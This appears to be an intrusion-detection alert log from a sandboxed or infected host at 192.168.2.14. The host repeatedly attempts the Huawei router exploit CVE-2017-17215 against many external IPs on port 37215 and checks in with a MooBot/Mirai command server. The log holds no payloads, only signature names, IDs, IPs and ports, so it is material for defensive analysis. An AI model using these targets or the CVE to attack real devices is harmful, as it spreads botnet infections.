ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 203.200.111.161

Timestamp:	2024-08-01T15:36:22.370290+0200
SID:	2835222
Source Port:	35544
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.169.67.45

Timestamp:	2024-08-01T15:35:16.682096+0200
SID:	2835222
Source Port:	40182
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.139.217.248

Timestamp:	2024-08-01T15:35:20.203609+0200
SID:	2835222
Source Port:	60118
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 104.193.104.80

Timestamp:	2024-08-01T15:35:48.347977+0200
SID:	2835222
Source Port:	41532
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.183.10.62

Timestamp:	2024-08-01T15:36:32.778946+0200
SID:	2835222
Source Port:	50048
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.82.15.33

Timestamp:	2024-08-01T15:35:17.170737+0200
SID:	2835222
Source Port:	45514
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 108.243.114.117

Timestamp:	2024-08-01T15:36:18.249644+0200
SID:	2835222
Source Port:	60572
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 43.4.139.21

Timestamp:	2024-08-01T15:36:24.468051+0200
SID:	2835222
Source Port:	41468
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.166.172.94

Timestamp:	2024-08-01T15:36:32.907550+0200
SID:	2835222
Source Port:	58822
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.192.253.251

Timestamp:	2024-08-01T15:36:09.862231+0200
SID:	2835222
Source Port:	54112
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.40.221.28

Timestamp:	2024-08-01T15:35:21.919055+0200
SID:	2835222
Source Port:	60542
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.252.156.141

Timestamp:	2024-08-01T15:35:54.399397+0200
SID:	2835222
Source Port:	48796
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.185.111.97

Timestamp:	2024-08-01T15:35:21.882077+0200
SID:	2835222
Source Port:	60170
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 170.247.9.67

Timestamp:	2024-08-01T15:36:49.660807+0200
SID:	2835222
Source Port:	35248
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.114.236.215

Timestamp:	2024-08-01T15:36:18.264512+0200
SID:	2835222
Source Port:	43228
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 170.68.156.59

Timestamp:	2024-08-01T15:35:17.158263+0200
SID:	2835222
Source Port:	59474
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.222.213.96

Timestamp:	2024-08-01T15:35:17.232553+0200
SID:	2835222
Source Port:	58956
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 81.196.221.36

Timestamp:	2024-08-01T15:36:09.903268+0200
SID:	2835222
Source Port:	36440
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.147.34.89

Timestamp:	2024-08-01T15:35:20.204891+0200
SID:	2835222
Source Port:	57756
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.79.224.118

Timestamp:	2024-08-01T15:35:20.216597+0200
SID:	2835222
Source Port:	53284
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 213.203.19.118

Timestamp:	2024-08-01T15:37:00.113703+0200
SID:	2835222
Source Port:	35000
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.178.4.108

Timestamp:	2024-08-01T15:36:14.830984+0200
SID:	2835222
Source Port:	59480
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.103.47.32

Timestamp:	2024-08-01T15:35:21.908033+0200
SID:	2835222
Source Port:	39040
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.9.122.30

Timestamp:	2024-08-01T15:36:02.071512+0200
SID:	2835222
Source Port:	33438
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.28.81.115

Timestamp:	2024-08-01T15:36:42.169624+0200
SID:	2835222
Source Port:	47548
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.19.24.83

Timestamp:	2024-08-01T15:36:18.276505+0200
SID:	2835222
Source Port:	40528
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 218.151.189.230

Timestamp:	2024-08-01T15:36:22.385699+0200
SID:	2835222
Source Port:	37942
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.120.66.165

Timestamp:	2024-08-01T15:35:21.895700+0200
SID:	2835222
Source Port:	42080
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.191.100.151

Timestamp:	2024-08-01T15:35:40.220988+0200
SID:	2835222
Source Port:	51430
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.229.34.33

Timestamp:	2024-08-01T15:35:20.204977+0200
SID:	2835222
Source Port:	58414
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.15.47.253

Timestamp:	2024-08-01T15:35:17.111000+0200
SID:	2835222
Source Port:	35460
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.134.40.2

Timestamp:	2024-08-01T15:35:40.221160+0200
SID:	2835222
Source Port:	46810
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.69.84.178

Timestamp:	2024-08-01T15:36:26.558587+0200
SID:	2835222
Source Port:	54430
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 92.32.247.220

Timestamp:	2024-08-01T15:36:40.246399+0200
SID:	2835222
Source Port:	44618
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.68.112.151

Timestamp:	2024-08-01T15:35:16.588428+0200
SID:	2835222
Source Port:	34536
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.7.154.250

Timestamp:	2024-08-01T15:35:48.348182+0200
SID:	2835222
Source Port:	54072
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.200.70.89

Timestamp:	2024-08-01T15:36:48.584714+0200
SID:	2835222
Source Port:	41970
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.23.47.126

Timestamp:	2024-08-01T15:36:32.774678+0200
SID:	2835222
Source Port:	37330
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.184.1.120

Timestamp:	2024-08-01T15:36:51.620416+0200
SID:	2835222
Source Port:	33996
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.29.127.52

Timestamp:	2024-08-01T15:35:20.210277+0200
SID:	2835222
Source Port:	52660
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 24.19.94.141

Timestamp:	2024-08-01T15:35:21.884899+0200
SID:	2835222
Source Port:	39736
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.250.79.98

Timestamp:	2024-08-01T15:35:40.241701+0200
SID:	2835222
Source Port:	38610
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.225.94.19

Timestamp:	2024-08-01T15:35:20.545253+0200
SID:	2835222
Source Port:	33536
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.200.52.176

Timestamp:	2024-08-01T15:36:22.543796+0200
SID:	2835222
Source Port:	37802
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.86.84.76

Timestamp:	2024-08-01T15:35:56.489044+0200
SID:	2835222
Source Port:	44158
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.254.92.231

Timestamp:	2024-08-01T15:36:29.452588+0200
SID:	2835222
Source Port:	33606
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 200.182.35.139

Timestamp:	2024-08-01T15:36:28.685599+0200
SID:	2835222
Source Port:	52658
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.124.231.62

Timestamp:	2024-08-01T15:35:20.202634+0200
SID:	2835222
Source Port:	47206
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.176.211.251

Timestamp:	2024-08-01T15:36:18.249652+0200
SID:	2835222
Source Port:	58146
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 137.67.14.123

Timestamp:	2024-08-01T15:36:26.759249+0200
SID:	2835222
Source Port:	38786
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.102.92.216

Timestamp:	2024-08-01T15:36:49.753623+0200
SID:	2835222
Source Port:	59460
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.223.199.85

Timestamp:	2024-08-01T15:36:11.954233+0200
SID:	2835222
Source Port:	37878
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 136.209.131.27

Timestamp:	2024-08-01T15:35:16.404080+0200
SID:	2835222
Source Port:	52344
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.88.34.150

Timestamp:	2024-08-01T15:35:16.616866+0200
SID:	2835222
Source Port:	56772
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 163.49.237.186

Timestamp:	2024-08-01T15:36:57.615990+0200
SID:	2835222
Source Port:	54406
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.164.228.120

Timestamp:	2024-08-01T15:36:06.759163+0200
SID:	2835222
Source Port:	33564
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 170.199.30.155

Timestamp:	2024-08-01T15:36:51.565209+0200
SID:	2835222
Source Port:	49096
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.78.4.198

Timestamp:	2024-08-01T15:36:31.132035+0200
SID:	2835222
Source Port:	35620
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.111.24.106

Timestamp:	2024-08-01T15:36:51.589248+0200
SID:	2835222
Source Port:	60480
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.150.28.211

Timestamp:	2024-08-01T15:35:20.203232+0200
SID:	2835222
Source Port:	40864
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.44.4.136

Timestamp:	2024-08-01T15:35:20.545249+0200
SID:	2835222
Source Port:	53494
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.141.49.56

Timestamp:	2024-08-01T15:35:17.258384+0200
SID:	2835222
Source Port:	35206
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 207.169.8.62

Timestamp:	2024-08-01T15:35:21.872304+0200
SID:	2835222
Source Port:	49258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.129.33.172

Timestamp:	2024-08-01T15:36:22.353505+0200
SID:	2835222
Source Port:	45130
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.14.74.18

Timestamp:	2024-08-01T15:35:21.842414+0200
SID:	2835222
Source Port:	39344
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.105.5.91

Timestamp:	2024-08-01T15:36:01.465131+0200
SID:	2835222
Source Port:	49020
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 154.127.74.3

Timestamp:	2024-08-01T15:35:17.250995+0200
SID:	2835222
Source Port:	50020
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 64.228.137.185

Timestamp:	2024-08-01T15:36:48.604096+0200
SID:	2835222
Source Port:	52768
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.201.49.24

Timestamp:	2024-08-01T15:36:37.056571+0200
SID:	2835222
Source Port:	59310
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.108.69.147

Timestamp:	2024-08-01T15:35:20.210232+0200
SID:	2835222
Source Port:	46018
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.238.235.163

Timestamp:	2024-08-01T15:35:01.758863+0200
SID:	2030490
Source Port:	37036
Destination Port:	56999
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.153.149.210

Timestamp:	2024-08-01T15:35:20.210445+0200
SID:	2835222
Source Port:	54842
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 106.246.172.68

Timestamp:	2024-08-01T15:36:09.886315+0200
SID:	2835222
Source Port:	40546
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.193.29.198

Timestamp:	2024-08-01T15:35:20.204723+0200
SID:	2835222
Source Port:	38588
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 113.234.246.206

Timestamp:	2024-08-01T15:35:56.555814+0200
SID:	2835222
Source Port:	33272
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.104.60.42

Timestamp:	2024-08-01T15:36:09.868342+0200
SID:	2835222
Source Port:	55772
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 51.46.228.52

Timestamp:	2024-08-01T15:36:01.470726+0200
SID:	2835222
Source Port:	52366
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.79.227.46

Timestamp:	2024-08-01T15:35:50.298268+0200
SID:	2835222
Source Port:	58554
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.17.228.69

Timestamp:	2024-08-01T15:36:16.184294+0200
SID:	2835222
Source Port:	56710
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 76.42.5.96

Timestamp:	2024-08-01T15:36:31.122559+0200
SID:	2835222
Source Port:	41240
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.125.235.120

Timestamp:	2024-08-01T15:36:09.901429+0200
SID:	2835222
Source Port:	34916
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.179.60.88

Timestamp:	2024-08-01T15:36:06.678049+0200
SID:	2835222
Source Port:	51848
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.13.234.15

Timestamp:	2024-08-01T15:36:57.555741+0200
SID:	2835222
Source Port:	32922
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.47.112.92

Timestamp:	2024-08-01T15:36:48.405887+0200
SID:	2835222
Source Port:	43268
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.237.103.241

Timestamp:	2024-08-01T15:35:16.554610+0200
SID:	2835222
Source Port:	58962
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.251.57.164

Timestamp:	2024-08-01T15:36:39.557540+0200
SID:	2835222
Source Port:	52548
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 115.244.127.174

Timestamp:	2024-08-01T15:35:50.300238+0200
SID:	2835222
Source Port:	37504
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.157.106.162

Timestamp:	2024-08-01T15:35:20.215004+0200
SID:	2835222
Source Port:	35730
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.12.225.254

Timestamp:	2024-08-01T15:35:21.905960+0200
SID:	2835222
Source Port:	49080
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.178.100.181

Timestamp:	2024-08-01T15:35:16.710671+0200
SID:	2835222
Source Port:	47228
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.107.22.130

Timestamp:	2024-08-01T15:35:43.304238+0200
SID:	2835222
Source Port:	40770
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.229.98.140

Timestamp:	2024-08-01T15:36:42.158852+0200
SID:	2835222
Source Port:	40784
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.235.183.195

Timestamp:	2024-08-01T15:36:20.315033+0200
SID:	2835222
Source Port:	37422
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.125.13.174

Timestamp:	2024-08-01T15:36:26.558317+0200
SID:	2835222
Source Port:	37646
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.22.48.45

Timestamp:	2024-08-01T15:35:20.202638+0200
SID:	2835222
Source Port:	37860
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.107.232.97

Timestamp:	2024-08-01T15:35:20.216495+0200
SID:	2835222
Source Port:	36164
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.52.145.226

Timestamp:	2024-08-01T15:35:20.206861+0200
SID:	2835222
Source Port:	40232
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.14 - Destination IP: 103.238.235.163

Timestamp:	2024-08-01T15:36:21.317319+0200
SID:	2030490
Source Port:	33016
Destination Port:	56999
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.0.151.19

Timestamp:	2024-08-01T15:36:47.889009+0200
SID:	2835222
Source Port:	33624
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

